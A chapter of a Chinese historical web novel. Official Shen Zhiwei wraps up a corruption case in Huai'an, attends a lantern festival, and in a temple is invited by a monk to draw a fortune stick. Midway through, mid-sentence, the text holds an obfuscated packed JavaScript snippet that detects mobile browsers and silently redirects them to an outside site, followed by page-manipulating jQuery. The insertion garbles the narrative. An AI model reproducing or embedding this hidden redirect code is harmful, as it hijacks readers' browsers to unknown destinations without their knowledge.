结案比沈知微预计要快得多。
随着一句句供词呈上,原本铁板一块的案子豁开裂缝,继而牵扯出漕运衙门,户部清吏司派驻官员,乃至淮安知府周茂年本人。
被圈在阁中的江南道官员从最初的惶然,到互相攀咬指责,终成乱战之势。
沈知微坐镇府衙,翻阅卷宗,提审案犯,近乎不眠不休。
谢明煦则成了她手中最锋利的一把快刀,裹挟着襄王府的权势和跋扈之气,带着影卫四处拿人,抄检商行宅邸,一摞摞真凭实据流水般呈至案头。
那八千根以次充好的木桩,不过是冰山一角。
府库空悬,赈银虚靡,侵吞压榨,层层盘剥之下,便是千里长堤溃于一夕的惨祸。
沈知微的脸色一日比一日难看,案牍劳形倒在其次,最要命的是江淮入春后连绵不断的阴雨,湿冷寒气无孔不入。
每到深夜,便觉胸闷气短,咳得撕心裂肺,需得加倍剂量吞下徐竖备下的药丸才能勉强平复片刻,面色白得连谢明煦都不敢再肆意嬉笑。
这日午后,沈知微撑着批阅完最后一份案宗,眼前阵阵发黑,喉头那股熟悉的腥甜又翻涌上来。
她闭了闭眼,强自压下,搁下朱笔,对正在倒茶的谢明煦道:“账目已核对七七八八,所涉赃银,牵涉人员也已大致厘清。余下细枝末节,交由后来官员处置便是。”
随后顿了顿,看向一直在旁静坐旁听的萧望卿。他腿上搭着薄毯,清隽的侧脸在春日稀薄的雨光里,案头堆着几卷他翻阅过的书简。
“三殿下,眼下已至淮安,您不必再拘于府衙,移驾驿馆养伤更为妥当。”
这话等同于宣告他不必再参与此案后续。
萧望卿抬眸,漆黑的眼瞳深不见底,沉默地与她对视一瞬,然后垂下眼睑,搭在薄毯上的手指微微蜷缩。
“……沈公子也要回驿馆吗?”他低声问,嗓音是久未开口的干涩。
“…案子已结,府衙嘈杂,不宜静养,”她的声音带着咳后的微哑,避开了他的问题,“驿馆清静,药石齐备,对殿下伤势有益。”
看着他蜷缩的指尖顿了顿,终是补了一句,声音放得更缓,“臣需整理卷宗,呈报殿下,稍晚些再回。”
这算不得承诺,却让萧望卿紧绷的肩线微不可查地松了一分。他依旧垂着眼,低低应了一声:“……好。”
谢明煦端着茶盏过来,桃花眼在沈知微苍白的脸上打了个转,又瞥向萧望卿,唇角那点惯常的笑意淡了些,将温热茶盏轻放在沈知微手边:“小沈大人脸色不大好,日理万机也得有个度,这雨下得没完,湿气重得很,喝口热茶暖暖。”
“三殿下也是,这腿伤最忌寒湿,驿馆那边我已让人多备了几个暖炉,褥子也加厚了,一会儿我送殿下过去?”
萧望卿眼皮都没抬一下,声音冷淡:“不必劳烦世子。”
谢明煦耸耸肩,只当他没问过那话,对沈知微笑道:“那成,我先送三殿下过去安顿。小沈大人也别熬太晚,晚些时候,淮安城里有灯会,听说比京城的还热闹,一起去瞧瞧?就当散散心,省得闷在屋里发霉。”
灯会。
沈知微指尖在温热的杯壁上摩挲,脑中浮现静姝泛红的眼尾,才想起来还有这回事。
“好。”在心里给谢明煦添了几笔,她揉了揉额角垂下眼,应了他的邀约。
驿馆果然比府衙清静许多,萧望卿被安置在临水的一处小院,推开窗就能看见运河支流蜿蜒而过。
谢明煦嘴上说着亲自送,实则只把人送到院门口,吩咐了内侍几句,便又一阵风似的刮走了,说是去安排晚上的行程。
沈知微在府衙直忙到暮色渐沉,才将最后一份誊抄清晰的案卷封好,交由东宫影卫快马送回京都。
起身时眼前一阵发黑,扶着桌案缓了好一会儿,才压下那股晕眩。
回到驿馆时,天已擦黑。她刚踏入自己暂居的院落,就见谢明煦正指挥着小厮往一架崭新的轮椅上铺厚厚的锦褥,那轮椅扶手包着丝绒,瞧着就比寻常的舒适许多。
“小沈大人可算回来了,”谢明煦闻声回头,脸上是毫不掩饰的欢喜,“都安排妥了,咱们这就走?灯市离得不远,坐这轮椅过去,省力又稳当。”
沈知微看了一眼那轮椅,没说话。谢明煦立刻会意,笑盈盈道:“知道你用不着,这不三殿下腿脚不便嘛,正好给他用,省得走路颠簸。”
极为熟稔地为自己找了台阶下。
正说着,萧望卿的房门开了。
他已换了身素净的常服,墨蓝的料子在暮色里显得沉静,那条伤腿被袍角小心遮掩着。他撑着门框,目光落在沈知微身上。
“走吧。”沈知微对他点了点头,没多言,只先转身。
谢明煦推着那架铺得厚实柔软的轮椅,殷勤地送到萧望卿面前。
三殿下沉默地看了一眼,没拒绝,由内侍搀着坐了上去,谢世子便自然接过了推扶的差事。
暮色四合,淮安城却仿佛刚刚苏醒。
青石板路两侧的灯笼次第亮起,暖黄的光晕在湿润的空气中晕开,连成两条蜿蜒流淌的光河,将灰暗的街巷映照得如同白昼。
人声鼎沸,摩肩接踵。
沈知微不太适应这种喧嚷的场合,手指无意识拢紧了狐裘,领口丰厚的绒毛几乎埋住下颌,只露出一双眼睛。
喧嚣声浪裹着湿冷的空气扑来,她喉间微痒,强压下轻咳的冲动。
谢明煦推着萧望卿的轮椅在前开路,世子爷今日穿了身宝蓝锦袍,金线绣着云纹,在灯火下熠熠生辉,眼角那粒小痣在灯火映照下愈发鲜红,衬得他像一只牵动人心的艳鬼。
他兴致极高,不时指着路旁精巧的花灯或摊贩叫卖的稀奇玩意儿,声音清亮地介绍,引来路人侧目。
“小沈大人,快看那盏琉璃走马灯,画的是白蛇传,比京城巧匠的手艺也不差。再往前走,前面河边放河灯,我前些年见过,顶顶的好看。”
沈知微顺着他的目光看去,各色花灯高悬于竹架之上,流光溢彩,精巧非凡。
她点点头当作捧场,边心里盘算着小姑娘会喜欢什么样式的花灯,边随他们往前走。
越靠近运河,人流越是拥挤。
河面上飘荡着无数点亮的小船灯,烛火摇曳,倒映在墨黑的水面上,随波逐流。岸边挤满了放灯祈福的人,笑语喧哗,夹杂着低低的祝祷声。
空气里弥漫着浓郁的香烛气息,混着水腥和人群的汗味,沉甸甸地压下来。
沈知微觉得胸口有些发闷,呼吸也变得短促。她停下脚步,想避开人群寻个空隙喘口气。
然而人有些太多,不过一眨眼的功夫,谢明煦就不知推着萧望卿往哪边走了。
顺着向前总能遇见,也不是很着急的事情,沈知微正想找个地方歇脚,索性跟着往来香客进了淮安的庙宇。
庙宇不大,香火却盛。庭院里挤满了祈福的善男信女,烛火摇曳,香烛烟气厚重,比河边的空气更令人窒息。
……
坏了。
错算的沈伴读被烟熏得脑子不大清楚,她蹙紧眉避开攒动的人流,只想寻一处稍清净的角落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141276|180375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喘口气,脚步却有些虚浮。
“施主可是身体不适?”
沈知微抬眼,见是个年轻的和尚,声音清朗,约莫二十出头,穿着一身青灰僧袍,面容俊逸。
他双手合十,微微躬身,目光澄澈,落在她苍白的面容上。
“无妨,只是人多气闷。”沈知微勉强压下咳意,她不常进宗祠庙宇,按着他的样子回了一礼。
和尚一笑,侧身让开一步,指向庭院深处一条清净的回廊:“此处香客众多,气息难免浊重。施主若不嫌弃,可随小僧往偏殿稍坐,那边清净些,也备有清茶。”
沈知微正欲推辞,那和尚却已转身引路,步履轻缓。她迟疑片刻,终是抬步跟了上去。
沿着回廊走向偏殿,空气里的浊气果然淡了些。廊角一株老梅斜逸,花已落尽,枝干在暮色里漆黑如墨,其上挂着数道祈福用的红绸。
偏殿不大,陈设简朴,只一尊不知名的菩萨泥塑,一盏长明灯,一张矮几,几个蒲团。
殿内空无一人。
沈知微心里发毛,但转念一想出事也没什么,死在这里说不定还能投个好胎,就逐渐安下心来。
“施主请坐。”和尚引她在蒲团上坐下,自己则走到矮几旁,执起一只粗陶茶壶,注入热水。
热水冲入粗陶杯盏,几片碧绿的茶叶舒展开来,清香袅袅。
“寒寺简陋,唯有清茶一盏,聊解烦忧。”和尚将茶盏轻轻推至沈知微面前。
沈知微道了声谢,端起茶盏,温热的杯壁熨帖着冰凉的指尖。清茶入口微涩,随即回甘,奇异地抚平了喉间的燥痒。
她抬眸看向那和尚,见他正垂目静立一旁,眉目平和,仿佛一尊入定的玉雕。
实在是很漂亮。
“小师父在此清修?”沈知微放下茶盏,声音客气许多。
“小僧慧明,在此挂单修行,”和尚抬眼,目光清亮,“施主眉间隐有郁结,气息虚浮,似有沉疴在身。此地虽非名刹,但偏殿这尊菩萨,却颇有灵验,尤其擅解世人心中迷障,断前程吉凶。”
他顿了顿,目光落在矮几一角一个古朴的竹签筒上。那签筒由老竹制成,色泽深沉,油光发亮,显然有些年头了。
“此签筒供奉于此,只容一人求取一次,”慧明的声音带着笑意,偏殿寂静空荡,沈知微听着得有三个他同时对自己的耳朵说话,“签文所指,半是天机,半是人心。”
“施主若有所惑,不妨一试?只一点,心诚则灵,需先奉上香火之资,以表诚心。”
沈知微顺着他的目光看向那签筒,心头一动。
前路茫茫,她已没了再求索的气力。
但那可是抽签。
沈知微向来无法拒绝有可能性的事情,反正只是图个乐,不管真假都不吃亏。
她指尖在袖袋里摩挲片刻,翻了又翻从贴身荷包掏出五六个铜板,将其叮叮咣咣放在桌上。
实在是有些穷酸,但沈知微从不管那些,只把那些往他面前推了推。
“有劳慧明师父。”
慧明和尚的目光在那些铜钱停留一瞬,随即垂落,唇边笑意加深,双手合十,低诵一声佛号。
他捧起签筒,动作庄重地递到沈知微面前。
签筒入手微沉,带着经年香火熏染出的温润。沈知微接过掂了掂,手腕轻摇。
“啪嗒。”
一根竹签掉在地上。
慧明俯身拾起,沉默了许久,久到沈知微有些疑惑地眯起眼睛,才听到他再次开口。
“施主…有无来此地清修的想法?”